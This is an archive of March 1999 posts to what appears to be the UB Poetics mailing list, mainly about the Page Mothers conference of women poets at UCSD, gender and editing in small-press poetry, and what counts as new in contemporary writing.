you-name-its
doing interesting (experimental? exploratory?) work

the atlanta poetry group [APG]
composed of
Mark Prejsnar
Randy Prunty
M. Magoolaghan
James Sanders
Rebecca Hyman
and
myself
wd love to know if anyone out there in the urbs burbs and hinterlands
know of folks we might like to make the aquaintence of

)L

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166. **charles alexander**
Re: Page Mothers Report, part 2
Fri 12 Mar 1999

> *A few wrote in to ask, well, what Bay Area writers are included?*

ah and I thought regionalism was more relegated to . . . well, other regions.

charles

--

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167. **Tom Beckett**
Re: posted because of tom beckett's "life" (if that was on this list?)
Fri 12 Mar 1999

David,
Rather--

lessness

_____

I'll

TB

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168. miekal and
why poets hate html #2
Fri 12 Mar 1999

↑ Index

169. Gerald O'Connell
Re: problematic question
Fri 12 Mar 1999

In message <[redacted]
e.edu>, "Lowther,John" <[redacted]> writes
>what's happening that seems New to anybody out there ?
>& of course i see the absurdity of the question at multiple levels
>but given the TO line i'm addressing a pretty diverse crowd
>who's seen something
> (in any art media)
> that struck them as New, Different, etc ???
>& then, if you cd...
>tell us about it
>thanx
>)L
> --- from list [redacted] ---

At any given point, maybe about 1% of 1% of what is being produced is good enough to stand the test of time, and to be acknowledged subsequently as representing a genuine development of what had gone before. Both history and statistical probability are stacked against you in any quest to satisfy both a craving for novelty and a search for significance amongst the contemporary output.

Gerald O'Connell

http://www.gacoc.demon.co.uk/

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170. miekal and
Re: International festival of Postmodern Piracy
Sat 13 Mar 1999

no festival of pirates would be complete without a gander at the otherground cult classic, THE PLAGIARIST CODEX

http://net22.com/qazingulaza/codex/codex.html

& while yr waiting for that to load check out these titles from PLAGERIZED®(sic) BOOKS, distributed by Xexoxial Endarchy from yr local distributor of appropriated texts:

Destruction of Gardens
by Alexei Kruchenykh
published by the Institute for the Study of Zaumnaya, Tiflis, Russia, 1915.

The Plagiarist Codex: an old Maya information hieroglyph, 1988.

Innuendo
by Lewis Carroll
published by the Century Company, 1919.

Classical Plagiartism
by Prof. Elizabeth Was
published by Oxford University Press, London, 1970.

Qwa Dogs of the Rock Dwelling
by Robert Smithson

20"x26" photostatic print

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171. Robert J. Tiess
Science Fiction Poems Wanted
Sat 13 Mar 1999

The founder of Poetfest, The New Athenaeum, and NeoLogue announces a brand new site:

XYFI Science Fiction Showcase of Stories & Poetry

XYfi is a new, free publication on the Internet designed to showcase classic and contemporary science fiction. XYfi seeks original science fiction short stories (up to 10,000 words) and poems (any style/length) for immediate publication online. No queries necessary.

All rights remain with the author. Unpublished authors are especially welcome to submit. See guidelines and submission form at site (link below). Submit today.

Advancing warning: Absolutely no fan fiction, derivative works, excessive gore or adult material.

Also available at XYfi: A special guide (approved by Argus Clearinghouse) to the life and works of H. G. Wells, a web guide to science fiction sites, and more.

Link: http://xyfi.spacelynx.com/index.html

Please share this information with all your fellow writers.

The XYfi Editor

[redacted]

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172. **Maria Damon**

Re: problematic question

Sat 13 Mar 1999

At 3:46 PM -0500 3/12/99, Lowther,John wrote:
>what's happening that seems New to anybody out there ?
>
well with all due modesty, and with acknowledgment that miekal is the prime mover here, Literature Nation seems pretty new to me...

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173. Maria Damon
Re: problematic question
Sat 13 Mar 1999

>
>At any given point, maybe about 1% of 1% of what is being produced is
>good enough to stand the test of time, and to be acknowledged
>subsequently as representing a genuine development of what had gone
>before. Both history and statistical probability are stacked against you
>in any quest to satisfy both a craving for novelty and a search for
>significance amongst the contemporary output.
>
>
>Gerald O'Connell
>
with all due respect for the care that poets put into their work, it is
this sort of judgment that my whole professional life is devoted to
dismantling --cliches like "good enough to stnad the test of time" as if
that is or should be the prime consideration. it seems to treat poetry
like a commodity (does it come with a lifetime guarantee, or only a
one-year warranty? will i have to buy a new one in 5 years, or will this
last?)

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174. Tom Beckett
Long Poems are the Other, aren't they?
Sat 13 Mar 1999

My wife, a School Psychologist, sees me as a classic example of a person afflicted with Attention Deficit Disorder, among other things. Maybe that's what's behind my nervously impatient--on and off again short poem--approach to poetry writing. Or maybe it is because my poetry is preoccupied with separating out the root erotics of the (w)rote from the perspective of the routed: a kind of micropolitical sexual-textual economy of meaning and moaning, mooning and, sometimes, mooing...

I'm fascinated by long poems because they represent something I can't seem to do,sensibilities I can visit but not inhabit. If I write 10 pages, my characteristic impulse is to reduce them to 10 lines. I tend to condense rather than expand. I'm more likely to remove words than add them.

When one does a long poem is intensity of experience sacrificed to depth or duration? I differentiate, by the way, "serial poems" from the long poem. Serial works seem to kind of swing a little both ways...I like _them_, a lot.

Tom Beckett

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175. **dbkk**

Page Mothers Report, part 3

Sat 13 Mar 1999

Hi, it's Kevin Killian. This morning I will try to finish my report on last weekend's Page Mothers conference (March 5, 6, 7) at UCSD & I apologize for going on and on at such length (bandwidth) about it. The question of the tone that Mark Weiss didn't hear at the conference--the anxiety that women writers might lose the ground they've recently gained--well, it's funny, because I felt it throughout, from Hejinian's exhortations that every day one must wrest victory from defeat and fight all over again, to the constant use of the word "erasure," which one heard again and again (e.g Harryman accusing Perloff of having erased the work of every woman in the room) and then in Dodie's speech to the conference of course, she evoked the spectre of Marc Lepine, the Canadian engineer who in early December 1989 walked into the University of Montreal and killed 14 women, and wounded a dozen others, simply because feminism had ruined his life. (Dodie spoke in the context of backlash in general, particularly a weird phone message she got at her office accusing her of feminism for having invited nine women to read at Small Press Traffic during this month and next.) (Check it out.) But I do appreciate that all of us who were at the conference came away with different takes on it and I hope that my example will show that hey, write something about it, it doesn't have to be complete, nor even interesting per se.

So, there we were in this luxurious faculty club listening to Maureen Owen read, I had never heard her before, nor even realized that her many of her poems have alternate titles, nor the funky surrealism of her poetry, sometimes charming, sometimes a little Brautigan-esque. The showpiece was a longer and more intense poem about another true crime, a Muslim NY woman who, not wanting her children to grow up in a racist world, pushed them out of the window of their 12th story apartment building, this chilling poem very much in the Sapphire vein that looked deep into a disturbed mind and located the listener there, identification and analysis hand in hand. When Bernadette Mayer began reading the crowd really sat up and cheered. She too read of a crime, the poem she wrote for Scott Gibson's forthcoming "Blood and Tears" anthology of poems for Matthew Shepard, the young gay student who was

beaten to death in Laramie late last year, his body left tied to an old fence so that passersby thought he was a scarecrow. Perhaps for many of us this was our first exposure to Mayer, so she embodied something of the "revered figure" that Leslie Scalapino had warned us about earlier, the living legend. Her "livingness" also, miraculous as it seems after her near-fatal stroke a few years back, and her remarkable recovery, has to it a Gothic edge, like the Ancient Mariner (though she's not exactly old of course), perhaps we are simultaneously drawn to and repelled by someone who has "died" already and come back, or is this just me, and in any case is it wrong to say? She gave a great reading and could make money, I think, just by selling tapes of her little laugh. After the reading many went on to a lesbian dance bar, "Flame," in San Diego proper, but I was kind of beat and made Dodie take me back to the hotel bar where we sat listening to a piano man sing the old time melodies of the 50s and 60s and talked with Fanny Howe, Owen, and Mayer, over a whole slew of Cosmopolitans far into the wee hours of the morning, talking about everything that had happened at the conference, and many many other topics including our old late friend Bob Flanagan. Fanny announced she had a crush on Piero Heliczer after reading his poems in the new issue of "Shiny" magazine, and Owen and Mayer reminsced about the real-life Heliczer and how she, Howe, was lucky not to have run into him in real life in late 60s NY because he was a menace and completely mad. Dodie had me give the pianist money to play her theme song, "My Funny Valentine" (her birthday is Valentine's Day) and Bernadette got me to ask him to play (but I forgot to ask for what reason) "Under the Boardwalk" and he did.

The next morning we spent packing and then squeezed into the little convertible of Standard Schaeffer with Lauren Gudath and Pam Lu, and all our luggage and then on to breakfast on the same block as the Faultline Theater, where Stephen Cope and Joe Ross were setting up for this massive poetry reading featuring many of the participants in the conference. Well, we've all been to this kind of thing before, but this was an especially interesting reading and much more lively and fun that it had any right to be, for the program was a long one and the space isn't all that big and plenty of people came to hear and see and unwind, and people could only read for 5 to 7 minutes otherwise they would be put in jail (a prop for the current Faultline production, there was an actual jail cell on stage, with Lee Ann Brown sitting in it.) For one reason or another, Cope had figured out the order of the program should be in reverse alphabetical order, a delightful decision that always had one guessing who would read next. It must have been great for those, like Scalapino and Mary Margaret Sloan, who usually bring up the rear at these mass events, and I think we should try it in San Francisco. Thus the reading began with Bobbie West, a local San Diego writer whom I had never met and whose book "Scattered

Damage" from Meow Books is terrific. Bobbie, if you're on this list, please e-mail me your address so I can send you the money for the book you signed for me. The next reader was Diane Ward, whom we had missed seeing at the conference but who proved available to come to this Sunday reading. It was great news to hear that Littoral Books is going to bring out a book by Ward and I told her, I would have walked to San Diego to hear her read for five minutes, she is the best. Or perhaps the best was Juliana Spahr, who read her wonderful poem "We," really I think (I'm thinking now) her masterpiece, this expansive, inclusive, hyper-realistic yet surreal poem about constituency, foreignness, and enduring love. This reading had a valedictory quality to it, as many readers had o up and leave as soon as they had finished reading, for their shuttles were there to take them to the airport, so I didn't get a chance to say goodbye to many, you're there one moment and then you're gone, just like "life"! Anyhow I see I'm running out of time and I didn't even write down a list of all the readers, all of whom did very very well, so I will try to condense myself. Dodie and I were extremely pleased and proud of the good showings put on by the young San Francisco writers, including Giovanni Singleton, Kathy Lou Schultz, Renee Gladman, Pamela Lu and Taylor Brady; Bill Luoma brought down the house as usual; Lyn Hejinian read from "Happily"; a duo of Jen Hofer and Summi Kaipa brought off a performance piece based on Hejinian and Harryman's collaboration "The Wide Road" (which I wouldn't have thought could be done, but they did it); a young New York poet called Alastair (sp?) Julian (sp?) of whom I had not heard was very touching; and then it all seemed to wind up to a close with Dodie's reading from the "Letters of Mina Harker" and Rae Armantrout wound up last, powerful, triumphant, grinning and standing there, as wave after wave of applause washed over her in thanks for her part in organizing the conference.

With Joel Kuszai, Joe Ross, John Granger, Stephen Cope, Rick Burkhardt, Bill Mohr, Hung Q. Tu, etc., all living in San Diego and of course the more established figures Michael Davidson, Quincy Troupe, Jerome Rothenberg, David Antin, one did get the feeling there's a lot of writing going on in San Diego but that it was largely a man's world, and so this female incursion into its dominion had the effect of a dream. Like many others, I'm very grateful to Howe and Armantrout for putting on the event, and to Kuszai, Granger, Ross and Cope for being so hospitable to us at every turn. Yes, there was X amount of friction, yes the debates about inclusivity, elitism, racism and revisionism hatched at the "Page Mothers" conference will color our world for a long time to come, and yes I had a terrific time and I hope they do it again.

Kevin Killian <---- page boy

PS, to all those who have written me back channel about the special "Page Mothers" issue of "Mirage #4/Period[ical]" (our 84th issue) we will be mailing

them out to you in the week to come. We still have some copies left. This is the issue with one page of work each by Dodie Bellamy, Mary Burger, Cydney Chadwick, Norma Cole, Beverly Dahlen, Patricia Dienstfrey, Kathleen Fraser, Susan Gevirtz, Lauren Gudath, Lyn Hejinian, Brenda Hillman, Myung Mi Kim, Pamela Lu, Laura Moriarty, Yedda Morrison, Rena Rosenwasser, Jocelyn Saidenberg, Leslie Scalapino, Kathy Lou Schultz, Mary Margaret Sloan, and Elizabeth Treadwell.

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176. **R M Daley**

Re: Page Mothers & Delinquent Daughters

Sat 13 Mar 1999

---

hello elizabeth treadwell, with whom i would very much agree at least in a need to have a little more careful approach to placing expectations/obligations/ole fashioned desires on the shoulders of a 'younger generation' - we've heard this charge before, no?, from some of the gatekeepers of 'language poetry' - that this lazy bunch of upstarts aren't doing a damn thing to further the cause etc etc

there are so many obviously troubling issues with the form of this kind of assigment - most notably, it seems to me, is that the work that this 'older generation' did is not only not my work, but was in large part intended to allow me to avoid doing 'their work'- eg, my mom made it possible for me to have a lot more options than to have to work all my life to have space/time (as a woman or as anything else) to work -

a second very very needful point on which leslie scalapino spoke , according to kevin killian's report, at the pagemother's conference, is the danger/stupidity of the tendency of poets to parent-worship - scalapino probably did not use the word 'stupidity', but as one of the 'younger' who is so charged (by the 'older who have served their time) with responsibilities to the world, tradition, the plight of women etc, i do take much issue with the nonchalance with which poet-writers assume heroes, find it necessary to have pet influences and mythical notions of some person behind the poem- and, if killian's sum was right-on, i would agree with scalapino, that the cult of the revered figure is rather in service of obliterating interaction with the writing and if scalapino, in her argument against immersing oneself in some kind of lineage, 'makes some abrupt jumps', all the more reason for actually looking at the writing that she is talking about, no? - is it not about time that chronology (and the presumed debt to preserve it) cashed in its chips? - as one of the no-good 'younger' people, i feel quite fortunate that i can be in cahoots with books like on certainty, geographical history of america, the new sentence, querlle, all this every day,

remebrance of things past, subterraneans, book of urizen without having to always, as a sonny rollins-loving friend of mine once said, worry the bridge

rachel daley

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177. **david bromige**
re charles alexander's bon mot re page mothers report part 2
Sat 13 Mar 1999

Just to piggyback on Charles' tweak re regionalism,,,,and to prove "the more the meme chose"....some 20 years ago, I went on the road to a number of places back east, and in the course of reporting on my findings to one of my hosts, I said "I think we live in a time of multiple provincialisms." To which he replied, "Oh, I dont think you'll find much of that here in New York." David

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178. **david bromige**
re the full jennifer
Sat 13 Mar 1999

---

another amazing sondheim. I am going out to buy the cd of american woman. But really I shd save my money to pay a nerd to come here & teach me more about my computer programs. I have some vicodan left over from the 80s. david

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179. **J Kuszai**
of Mothers & Daughters
Sun 14 Mar 1999

Because I am here at ground-zero, exactly seven days after the Page Mothers Conference wound down with one of the best group readings I have ever been party to witness, and it seems--once again--that the discourse surrounding this conference will forever be held to whispers and will not become part of the historical record, save for a useful notation of its proceedings by one Kevin Killian, and because some of my thinking was aided and advanced by the proceedings and the conversations surrounding them, I feel that it is time for me to emerge from my recuperative lurking to address the conference and a few other things that have been stewing inside me since we last snuggled up against the cold winds of December's scandal. I was tempted to hold my tongue on this, for it isn't really my place to comment--as a white male, etc.etc.--("whale" for short). On the other hand, I can't sit by in good conscience and watch this space devolve once again to a daily dose of chit-chat, which serve

only to amuse the few people who bother to participate. The relative silence in this space--at the hands of those who otherwise know good and well that they should speak up--breaks what little of a heart I have left. Even the quiz presented in this forum by my new friend and true Page Daughter patriot, Kathy Lou Schultz, seemed only to add to the air of mystery and the strange shroud of silence surrounding the events. So, all this is to say, watch out, for what follows here is a multiply-long post, only some of which is addressed to the conference, which as I said helped me begin to solve problems which I see in the current landscape of language arts and the "community" which its relatively small-scale industry evokes and encourages.

Welcome Back - NOTICE to LURKERS

One of the last things I was working on for posting to Poetics before I bailed unto lurkdom was an essay on my "progress" as an editor. A kind of autobiography in editorial discretion. And it was partly in response to the prodding of Dale Smith and others who challenged my notion that some of the best writing being done today is being done by women, especially women who live in the San Francisco Bay Area. I had no real theories at that time about why this was. Indeed, I don't think that gender is any kind of a determining factor. I never said that I thought that women wrote better than men, but that the poetry that I liked was more often to be written by women--and often it is the case that I only found out afterwards, as it is often my practice to read books and magazines from back to front. There is, as we all know, lots of poetry by women which is terrible--as terrible as anything being written by men. One of the reasons that I think that this is so difficult for some people to take is that men are so much more present. It has been pointed out many times that men are more likely to send out their work to be reviewed by editors such as myself. When I posted to this space a call-for-work addressed to WOMEN ONLY, the majority of inquries I received were still by men, something which confused me a great deal. Do most men feel themselves to be exempt from the criticism of their sisters?? Even my gesture there, as a male editor, seemed odd and the irony of all that wasn't lost on me. The reasons that women don't contribute to this space, or don't submit their work to new magazines and presses may be found in the attitude of the men who inhabit these spaces. Look at the bizarrely phobic attitudes exhibited by some men on this list at the very suggestion that I have raised here. They can be characterized often by a spirit of ill-will, as if being the cultural dominant were somehow a tradition, not unlike the racist attitudes expressed by the right wing establishment in California. It saddens me that a number of women who were at the conference haven't, in fact, felt the need to transform this space into one in which their interests were the status quo, for no "public" forum is as ripe as a takeover, even a temporary intervention, as this one is. And while several women at the conference

indicated to me that they felt that the list wasn't a place where they felt comfortable, I can only hope that this is no longer the case, that under Chris Alexander's leadership, that this space will CONTINUE to transform into something that we can all live with, or even dare I say it, feel excited to participate in. And frankly, being that this space in no way represnts any kind of democratic vista, an ideological take-over, some kind of feminist intervention would be a welcome rebuke to the potentially unfortunate return to "business as usual" that has marked the list in recent weeks.

I have learned, however, there are reasons that women may find themselves disinterested, finally, in our modest project. And while I received lots of back-channel congratulations regarding my efforts to "take a stand" back in November and December, something that someone said to me off-list has stuck with me. This person, who found herself also particularly embattled at a certain moment, asked the question-- at such a time of struggle in a public forum--"where are one's friends?" -- and many of my supposedly closest friends, some of whom are former and forthcoming "meow press authors" abandoned ship like so many Titanic 1st class-passengers, leaving us "poetry workers" to attempt to save the vessel by bailing water from the sinking ship. I am not complaining or crying out at this point, having achieved enough of a distance from the spectacle's last days to have made a number of realizations about the nature of this "community" and the group of which it is a fractionate representative. I will save those speculations for another time, as I am sure that this debate will rise again. Perhaps it is a lesson that all of you have already learned.

Chris Alexander does derserve praise, though, for undertaking this thankless task, and (I might add) also some help. And by that I mean that as the list returns to a status-quo (minus the bilous discharge of people who have no interest in this communitarian project) where he really needs your help is in the development of this space into an articulate energy built up over pre-considered postings--more a "magazine" than a "chat-room." I've said this before, and I know I'm not the only one with interests in this direction. The useful thing about the new format is that the moderator can have influence over the direction of the list. That itself becomes usefully ideological. There is no need to have every one-liner forwarded to the list. Likewise there is no need to put undo peer-pressure on Chris to forward such obviously back-channel chitchat to the list. I can imagine that he feels it would cause undo strain on his very diplomatic personality to try to appease every last hastily-strewn commentary. We've gone that route. It's time for a new attitude. This is not anything other than a call for all LURKERS to rise up and take a stand.

Page Brothers in Drag:
Wannabe Women

or
Can I borrow your identity to advance my career?

The conference here last weekend was too multiple to address in any complete manner. I hope that other views on this will be presented, here as well as elsewhere, as the more dialog about "what happened" I hope will go a long way towards developing an adequate picture of the events. Before I go into my very subjective perceptions of one aspect of the conference, let me try to address some of the larger pictures that come through for me.

It was great to see such a grouping of power brokers (mothers) and their attendant daughters, with a few of us boys scattered in for effect. The conference itself was caught in the poetry festival and academic conference dilemma, and like many of these mixed-project conferences, this was a useful bringing together. Perhaps it is a legacy of the theoretically-minded "language" school, which could be said to be one of the major literary preoccupations of many of the women at the conference (mother and daughters), that so many of the attendees (both presenters and audience members) would be so astute to the issues involved. So while it was academic on the one hand, many of the people present were not "academics" per se, something which made the conference so much more interesting than the typical academic conference, which usually has the air of a good natured sporting event, with everyone shaking hands and going home afterward. The fact that Marjorie Perloff's comments so angered Carla Harryman and others is testament to the fact that with this group the line between what constitutes theory and poetry has been nearly erased in some corners of the poetry world, and indeed, in some corners of the academic mainstream. And this is an issue that is worth developing further, but I will save it for another time.

What did anger Carla, I think, brings me closer to my "thesis" about the conference, or what it meant for me. The notion that the women language poets were somehow practioners of a theoretical orientation defined and packaged by the men of that generation (Silliman, Watten, Bernstein, etc.) is perhaps not the main issue as far as I can see it. Marjorie did try to stake out too much in her brief talk, which was excerpted from a longer talk to be presented at the Barnard Conference next month. And perhaps there rests some of the problem. I don't think she got to make all of the connections she put underway, and while her argument may have depended upon the suppositions raised by the recounting of the early days of "language" history (told as male dominated in terms of theory production goes), her argument and presentation suffered because she was unable to tie it all up at the end (at least how I imagined how it might end). While she did admonish those present to more rigorously define what is meant by "innovative" and not use that word to define what I perceive to be largely social groupings of newer (emergent) poets, that proposal was

made in the face of an angry group in the audience, led by Carla Harryman, who took issue with her historical portrayal of the women as not being theorists and the males being out front, etc. Unfortunately, Perloff's call for a more rigorous theorizing of the issues by women, especially younger women, was made before Jen Hofer and Summi Kaipa gave a brilliant reading / study / performace during the reading on Sunday, when Perloff was absent. Perhaps there is some deeper history to what could be seen as "academic vs. poet" arguing, as I saw an enraged member of the Harryman clan go chin-to-chin with Perloff a few years ago in the cash bar at the Orono Conference on the 1950s. As one astute ringside watcher remarked then, "at least Perloff shows up for the fight." And despite the contentious response her remarks elicited, there is perhaps another way of looking at all this which brings me closer, yet still (hang on, please), to the core of my argument.

It was inappropriate for Perloff to spend so long on a particularly male history at a conference devoted to the Page Mothers and especially since she was on the "future" panel, the conversation supposedly arranged to elicit views on where "we" might go next-- and the next wave, exemplified by Renee Gladman's and Pamela Liu's presentations, the highlight of the conference for me.

It was inappropriate, in my feeling, though I don't think it needed to be. Regardless whether you think Perloff's history was right or wrong (and I think we could debate this, though I would like to see a copy of the *whole* paper, since as I have said, I felt it was the subject matter alone which was inappropriate). Perloff's admonition to do theorizing more rigorously, to propose a project beyond the gratuitous fluff and name-dropping reviews so common in today's poetical discourse (a trend not limited by gender) was something I very much applaud. Someone here on this list asked recently what might be considered "new" and I think if one could take on that question, they might be setting themselves up for more criticism, as even the search for a "new thing" based on some kind of formal principle might be seen as another masculinist gesture, an attempt to prescriptively orientate our literary bearings based upon modes and criteria developed through Poundian economies, the very economies our Page Mothers and Fathers had sought to undo. It seems to me that to develop a sense of what consitutes "new" now would have to take under consideration such things as "place," "identity" and some of the other taboo issues that we are always so quick to dispense with when formulating our geneologies. And by "we" here, I am in part referring to my white brothers, who have demonized such practices as developing countercultural strategies as even those employed by Bernstein, Watten, Sherry, Silliman, and others, who sought to arrange a sub-cultural network for distribution, discussion, and more, around new poets and their publishing activities.

Tangent-- History as Trangression

When I first gave birth to my desire to publish a series, Charles B., warned me to start small and develop a readership, which he might have called a community, or a constituency. I had originally cooked up a wild plan with Arkadii D., to publish books for cheap, printing them in St. Petersburg on Finnish paper. We could get books for 10 cents in paper back and 50 cents in hardcover. The only problem was they had to be printed in editions of 5,000 or 10,000. Anyone can see the problem here. And while I toyed with the idea of bilingual editions of Russian and American poets, the idea of sending 8,500 copies to Moscow to be sold at cigarette stands wasn't exactly what I had in mind.

The development of this community of readers has been my strategy from the beginning. Focussing on publishing works by lesser-known poets, and piggybacking them on those works by the likes of Scalapino, Bernstein, and Silliman, just to name a few, was one means of accomplishing this goal. And I hope that as my publishing venture reaches this point, this crossroads, that it has been at least modestly successful in getting works out there. But now I find myself in a troubling position.

Never in my wildest dreams did I want to be in the position of judge and jury. The influx of manuscripts that trickle in now are all very much worthy of being published, whether by my press or another of similar outlook. But what is that outlook? One writer, in a review of Meow Press for the Poetry Project Newsletter, likened the press to some kind of establishment-oriented apologist for the State of New York, a co-conspirator in what she termed "crimes" : SUNY-Buffalo and the Poery/Rare Books Collection at that same school. Anyone who knows me knows how much this slam hurt me personally, as much forged upon misunderstanding and misreading as upon a failure to communicate. While I was never mentioned in the review, it was very much a personal slam, one which proposed to position MP as an establishment-oriented venture, as a student of Bernstein, etc. But this connection, the institutional affiliation is a problem, I realize, as it is something that I find to be problematic, and has been my critique of the poetics program in general, or any poetics program, such as that at New College of California, San Francisco State, and others.

For me the role that institutions play in this development of literary groups and histories in general is a disturbing but real presence. These schools go a long way to reproduce the very formal preoccupations which brought them together, indeed exceptions at Iowa and Buffalo are still rare. But, rather than some ideological cloning, I think that it is within the institutional structures the very social fabric which permits editorial behavior is patterned. This pattern is then continued "outside" where the institutional preoccupations are transformed into more social-only networks. If you look at the globs of graduates from x-school, I think you will find this to be the case. And athough I don't think that such a fact

has to be always bad, I will again restate my general theory of editing scenes, zines, and presses: such editing is generally all "social" and that the ideological fallacy most usually presented has some sort of connection to what Perloff so rightly decried as "innovative." For instance, to most people the difference between n-th generation New York School and n-th generation language poetry would be negligible. Indeed, a friend of mine, an MFA at San Diego State U., recently called Quincy Troupe a "language poet" -- something which made me swallow the very salt I had thought to pinch for the grain's taking. So within these various networks of the "innovative" - a term so vapid as to be utterly meaningless - there are infact social groupings which have meaning and importance to those who inhabit them. And while the Page Fathers are looking for younger poets to pick up the stick to formulate some sense of the newness which was their poetics heritage (nudge nudge Ron, nudge nudge Bruce), the Page Mothers (especially in San Francisco) have perhaps been responsible for a whole generation of younger women writers who have emerged with similar interests and concerns, social and theoretical, some of which were articulated at the conference.

Lesbian Disco, or why I can't dance

Listening to and watching Pamela Liu and Renee Gladman address the conference, it occurred to me that while they may have appeared on the "futures" panel almost as an after thought, an accusation I haven't seen supported, they were the greatest and truest representation of the future. Indeed, a bomb went off in my head, one which told me that I was irrelevant, outdated, uninteresting. I felt swept aside by the convincing nature of their presentations, their motivated commitment to what they are doing and their peers. And one of the great problems with this conference was that not everyone could make it. A very west coast phemenon, the pre-eminence of Bay Area women (younger and older) should have been of interest to everyone--on this list and otherwise. The silence from Buffalo on this front has been very telling for me, the silence and seeming disinterest coming from New York. Not everyone could be paid and invited, but it seems to me that this conference was either something you are interested in or not--and that some of the disinterest was based on not being invited. One criticism I do have of some of the would-be attendees, is this almost universal sense of the need to be recognized, and the bitter whining that went on at least here on the west coast, regarding who would be or wouldn't be invited is perhaps a bigger epidemic than I can address here. But Pamela's and Renee's presence on the panel stood in for much wider happening, one they addressed in their talks with great generosity.

When Dodie and Kevin came to Buffalo in the Fall of 1997, they spoke of this range of younger writers, almost none of whom I had heard of. It was as if this incredible world had opened; so many things to learn about-- so much to read

and discover. My world had been dominated by the New York scene, past and present, and by the historical Bay Area, from Jack London to the departure of Ben Friedlander, who was my primary source of Bay Area history and intrigue. And despite the fact that it is a literary community now run by "middle aged women" as someone put it at the end of the conference, the history of the Bay Area, with a few exceptions had been a primarily male history. So you can imagine how exciting it was to hear of this community in development.

What I learned from Pamela and Renee may not be so easily put into words, and hopefully I will continue to learn from them as their works reach a wider audience though the underground small press economy of which I have been a part. When I voiced my sense of being irrelevant to a friend after the conference, the response was sheer dismissal-- i.e. that my press was an important press of new work, within this subeconomy, etc. and that I shouldn't feel that way. But being relevant here isn't about being in a position of power, though my "power" is completely relative, and the use most people seem to have for me seems completely instrumental anyhow. I sensed that magazines such as Clamor, Outlet, Proliferation, and many others (including the glossy Lipstick 11) were involved in this community building effort-- often through the use of materials gained by theft, recycle-bin diving, and creative misuse... an economy of production very close to my heart. The development of these editorial and publishing collectives, scene-building in the area of San Francisco, Berkeley, and Oakland-- this is the creation of the kind of literary community that will develop its own methods of extending their poetical discourses into the world at large. By that I mean that these women (and some men, as it doesn't seem to be exclusively one thing or another) will establish their own networks for the the development of the kind of poetics theorizing that both Silliman, Perloff and others (even myself) have called for at times. That theorizing is going on, but it will be excellent to watch them undertake this project as they begin to aquire power and authority (a dangerous trade-off, as I have discovered), as they age, as another group of upstarts seeks to establish themelves in the wake of this intensely interesting group of women writers. All of it is so new to me. During the conference I was suddenly blinded by the shock of their brilliant glow and I wished that more people of this community had made it down, as the Conference was one of those landmark historical events which will only grow in significance as the histories of it get written and rewritten.

Just as for me the New Coast Conference in 1993 was a formative experience, one which inspired me to do what I do now, I hope that they will have a similar sense of the Page Mothers. But it isn't for me to write that significance, and perhaps they will have cause to have a conference of their own, wherein such poetical exchanges can include more of their contemporaries.

As we reach the end of the decade (I am less interested in the millenial urge as I am 10-year clocks) such a re-thinking of how we do all this might be in order. For me, I feel myself in a great crisis, one which my brothers might not share. I felt a giant kick in the pants by the Page Mothers Conference. And not to be a reactionary, not to ask how might we white boys might best express our identity, or shore-up our hegemony, but instead, how might we rethink our very sense of place in a world which seems hell-bent at eradicating any real sense of difference as it attempts to co-opt the very communities it seeks to include. Not polarizing smallness, but how to proceed? For me, I am much more interested in education (and not pedagogy) than I am aesthetic issues these days, and that may be only the beginning of my dilemma. I live 15 minutes from Mexico and I know little about the poets there. The road to Tecate is lined with police--border guards. And on this note, my page brothers here in San Diego will be the recipients of this questioning--and my brother Bill Marsh and I had a wonderfully exciting getting-nowhere-fast conversation about these issues-- and I know even my quick sunday morning portrayal of this question is complex, incomplete, and only beginning. But we (four boys from s.d.) are starting a magazine. Hopefully, some of you will see and feel the results of our talks about this.

Thanks for your time-

joel k
of the valley
Spring Valley, that is-

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180. Lowther,John

Re: problematic question

Sun 14 Mar 1999

Maria Damon

cd you tell me (us) what Literature Nation is ?

> well with all due modesty, and with acknowledgment that miekal is the
> prime
> mover here, Literature Nation seems pretty new to me...
>

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181. derek beaulieu / house press
an introduction...
Sun 14 Mar 1999

hi. my name is derek beaulieu and i am a rather new addition to the UB Poetics list having joined in just the last few days. i thot i should drop the list a note and introduce myself (as well as my press - housepress). ive been writing for only a few years - strongly influenced by the work of bpNichol, steve mccaffery, and the poetry of darren wershler-henry and damian lopes. i am also the editor and publisher of housepress - a small press dedicated to concrete poetry (and other forms as well) published in chapbooks, pamphlets, postcards, and ephemeral forms - saw in the archives and inquiry abt "keyboard po(e/li)tics" quiet a few months back - that was a chapbook exploration that neil hennessy and i wrote (a "pataphysical and oulippan look at the typewriter keys). anyway - enuf abt me - its good to be here and do hope to participate in some discussions and learn a great deal while here... yrs derek beaulieu

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182. Kathy Lou Schultz
Re: of Mothers & Daughters
Sun 14 Mar 1999

Joel K. ("Daddy Page") raises so many issues of grand importance that I can only begin to mull them over on this rainy San Francisco Sunday. First, I want to say that at the time of the Poetics List Explosion, that "as a woman," I didn't feel "excluded;" I felt pissed! There's a difference. The goings-on reminded me very much of the time I have spent doing political organizing and facillitating meetings in which a number of folks (yes, predominantly male) seemed much more interested in disruption and power-grabbing than in furthering any sort of positive action or discussion. The accusations levelled against Charles B. concerning "censorship" seemed to me simply ridiculous. I do not believe that Charles or Joel censored anyone in their delicate handling of the Poetics List. Rather it seemed that a number of men preferred to wage a pissing match with Charles--and Charles rightly declined to participate. I believe it was correct to shut the List down and regroup. And I hope now that people will begin to participate with a renewed sense of vigor. A very real impediment to this participation is, I think, time. I know that when I've been working 10+ hour days in the high-tech publishing industry, I've simply been too exhausted to reply to the Poetics List. But I've made valuable connections here, and found out some important information--including the announcement of the Page Mothers conference. I don't think I would have necessarily known about the Page Mothers conference if I had not read about it here. No, I wasn't "invited," but I felt it was very important to "show up" in all senses of that term. As a girl

